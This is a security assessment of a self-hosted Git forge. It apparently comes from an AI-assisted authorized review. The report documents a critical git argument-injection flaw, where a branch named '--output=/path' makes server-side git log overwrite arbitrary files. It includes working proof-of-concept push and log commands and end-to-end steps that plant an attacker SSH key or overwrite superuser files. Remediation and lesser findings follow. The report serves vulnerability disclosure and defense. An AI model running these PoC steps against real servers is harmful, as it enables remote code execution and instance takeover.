Vectrum
Sign In
208 lines · 10.3 KB

Vectrum — Security Assessment

Target: Vectrum — self-hosted Git forge (Next.js 16.3.7 + PocketBase + git over HTTP/SSH + CI runners) Date: 2026-10-02 Scope: Full application source review + live validation against the running instance (web :3000, SSH :2222) Assessor: Authorized security review (account johannso, on the owner's own infrastructure)


1. Executive summary

Vectrum is a compact, generally well-built Git forge. Authentication, the PocketBase authorization model, token/secret handling, markdown sanitization, and server-action access control are all sound (see §5).

However, the assessment found one critical, directly exploitable vulnerability: a git argument-injection flaw that lets any authenticated user overwrite arbitrary files on the server with attacker-controlled content, as the server/container user. This leads to remote code execution and full compromise of the instance.

#SeverityFindingStatus
1🔴 CriticalGit argument injection via branch names → arbitrary file overwrite → RCEConfirmed (git-layer PoC proven; live code path verified)
2🟡 LowSession-cookie Secure flag depends on a client-supplied headerConfirmed by review
3🟡 LowClone/runner URLs trust Host / X-Forwarded-HostConfirmed by review
4🔵 InfoRunner tokens never expire / cannot be rotatedConfirmed by review
5🔵 InfoSSH server offers no post-quantum key exchangeObserved on live :2222

2. Critical — Git argument injection → arbitrary file overwrite (RCE)

2.1 Summary

Ref names (branches/tags) are passed to git as positional arguments without an --end-of-options / -- barrier and without any leading-dash validation. Git parses any argument that begins with - as an option, not a revision. Because the push handlers accept ref names that begin with -, an attacker can create a branch literally named --output=/absolute/path, then cause a server-side git log to run it as an option that writes attacker-controlled commit text to any file path the server process can write.

2.2 Affected code

lib/git.ts — ref value is placed before -- (or with no barrier at all):

// log()
["log", `--format=${COMMIT_FORMAT}`, `-n${limit}`, `--skip=${skip}`, ref, "--", path]
// commitCount()
["rev-list", "--count", ref]                 // no barrier
// listContributors()
["shortlog", "-sne", ref, "--"]
// getCommit()
["show", "-s", `--format=${COMMIT_FORMAT}`, sha, "--"]

Three missing validations combine to make this reachable:

  1. No ref-name validation on push. lib/git-http.ts (handleServiceRpc) and lib/ssh-server.ts (session.on("exec")) stream the request straight into git receive-pack, which accepts refs/heads/--output=….
  2. No leading-dash guard in ref resolution. resolveRefAndPath() and defaultBranch() in lib/git.ts match the attacker's branch name against the real ref list and return it verbatim.
  3. No barrier at the sink. The commands above interpret the returned ref as an option.

2.3 Reachable sinks (web routes)

  • app/[owner]/[repo]/commits/[...segments]/page.tsx → log(repo.dir, ref, …) — triggered by GET /{owner}/{repo}/commits/--output=/path.
  • app/[owner]/[repo]/page.tsx (repo homepage) → commitCount() + listContributors() on repo.defaultBranch — triggers automatically on page view if the malicious branch is the repository's default/only branch.

2.4 Proof of concept (verified against git 2.55.0)

Pushing a dash-prefixed ref is accepted:

$ git push ../srv.git 'HEAD:refs/heads/--output=/tmp/vt/PWNED'
$ git --git-dir srv.git for-each-ref --format='%(refname:short)' refs/heads
--output=/tmp/vt/PWNED

The server-side git log then writes attacker-controlled commit content to an arbitrary path (here, a forged SSH key line taken from a commit subject the attacker chose):

$ git --git-dir srv3.git log '--format=%s' -n36 --skip=0 '--output=/tmp/vt/authorized_keys' --
$ cat /tmp/vt/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAATTACKERKEY attacker@evil

2.5 End-to-end attack (any authenticated user)

  1. Create a repository (allowed for any signed-in user) and push a main branch whose latest commit subject is the file contents you want to write.
  2. Push a second branch named, e.g., --output=/home/node/.ssh/authorized_keys (or /data/pocketbase-superuser.json, a repo hooks/post-receive, app source, …). Both the SSH and HTTP push paths accept it unchanged.
  3. Request GET /{you}/{repo}/commits/--output=/home/node/.ssh/authorized_keys (or simply set that branch as the default and open the repo home). The server runs git log … --output=… -- and overwrites that file with your commit text.

2.6 Live validation

  • SSH to the running instance authenticates and reaches the push handler: ssh -T -p 2222 git@localhost → Hi johannso! You've successfully authenticated…
  • Web interface healthy (GET :3000/api/health → {"ok":true}), signups enabled.
  • Source confirms no ref-name validation on the container's push path and no leading-dash guard in ref resolution — identical to the proven PoC code path.
  • Writing a file inside the running container was not performed: the host blocks it (Docker socket access denied, no passwordless sudo, /data not host-visible). This is host hygiene only; it does not mitigate the flaw in Vectrum.

2.7 Impact

Arbitrary file creation/overwrite as the server (container) user, with substantially attacker-controlled content. Realistic escalations: implant an SSH authorized_keys, overwrite data/pocketbase-superuser.json to seize the PocketBase superuser, plant a git hook or poison application source → remote code execution / full instance compromise. Exploitable by any user who can sign up and push.

2.8 Remediation (defense in depth — apply all)

  1. Barrier at every sink. In lib/git.ts, insert --end-of-options immediately before any revision argument (or ensure refs are only ever passed after --). Cover log, rev-list, shortlog, show, cat-file, ls-tree, and the transport commands. Example:
    ["log", `--format=${COMMIT_FORMAT}`, `-n${limit}`, `--skip=${skip}`,
     "--end-of-options", ref, "--", ...(path ? [path] : [])]
    
  2. Reject dash-prefixed refs on read. In resolveRefAndPath, listBranches, listTags, and defaultBranch, drop/deny any ref whose name starts with -.
  3. Validate refs on push. Refuse ref updates whose names start with - or otherwise fail git check-ref-format, in the receive-pack path (lib/git-http.ts, lib/ssh-server.ts).
  4. Add a regression test using the PoC (push --output=…, assert no file is written and the request 404s).

3. Low-severity findings

3.1 Session-cookie Secure flag depends on a client-supplied header

lib/auth.ts → setSessionCookie() sets secure: h.get("x-forwarded-proto") === "https". The 30-day, sameSite: lax session cookie is only marked Secure when a proxy header says so. Correct behind the documented TLS proxy, but if the app is exposed directly, or the proxy is misconfigured to forward the header, the session cookie can be sent in cleartext. Fix: gate on an explicit server config (e.g. SECURE_COOKIES=1 / a trusted-proxy flag) rather than a request header.

3.2 Host-derived URLs trust Host / X-Forwarded-Host

lib/repo.ts (cloneUrls), lib/request-origin.ts, lib/runner-api.ts (originOf) build clone/runner origins from x-forwarded-host / host. Impact is limited (spoofed clone URLs shown to users, runner clone origin), but in multi-tenant/public deployments pin these to a configured canonical host.


4. Informational

4.1 Runner tokens never expire

lib/runners.ts — runner tokens (vrn_…) are long-lived with no expiry or rotation, unlike API tokens. A leaked runner token lets a machine claim scoped jobs and receive repo checkout tokens indefinitely. Consider optional expiry/rotation.

4.2 SSH server lacks post-quantum key exchange

The live :2222 server (ssh2 library) negotiates only classical KEX; OpenSSH clients warn about "store now, decrypt later" exposure. Low risk for a git transport; track the ssh2 library's PQ support for a future upgrade.


5. Reviewed and found solid

  • PocketBase authorization: all collection rules are superuser-only (null) except users.viewRule = "id = @request.auth.id"; the Next.js server mediates every access.
  • Session handling: sessions are PocketBase auth tokens in an httpOnly cookie, re-validated by reading the user's own record with their token (lib/auth.ts).
  • Server-action authorization: repoForAction / viewerOrThrow enforce read/write/admin consistently; issue deletion is restricted to author-or-admin; label and settings mutations require write/admin. No IDOR found (app/actions/*).
  • Secrets: API, runner, and job tokens are 30-byte random values stored only as SHA-256 hashes; passwords via PocketBase bcrypt; login avoids username-enumeration timing (lib/tokens.ts, lib/runners.ts, lib/runs.ts, lib/users.ts).
  • Markdown XSS: rehype-raw → rehype-sanitize ordering is correct (GitHub allowlist applied last); urlTransform blocks javascript: and similar (components/markdown.tsx, components/markdown-preview.tsx). Shiki highlight HTML is trusted input.
  • Path traversal: isValidName / isValidOwner / repoPath constrain on-disk repo paths; cleanRepoPath rejects .., .git, and control characters for web edits (lib/git.ts, lib/git-write.ts).
  • Blob/image routes set X-Content-Type-Options: nosniff and a sandboxing CSP, preventing stored XSS via uploaded blobs/SVGs (app/[owner]/[repo]/raw, /image).
  • Repo images are validated by magic bytes, not the browser-reported MIME type (lib/repos.ts sniffImageType).

6. Priority

  1. Immediately: Fix finding #1 (git argument injection) — small, localized change in lib/git.ts plus ref validation on the push/resolve paths; add the regression test.
  2. Then: findings #2 and #3 (header-trust hardening).
  3. Backlog: #4 and #5.

🤖 Generated with Claude Code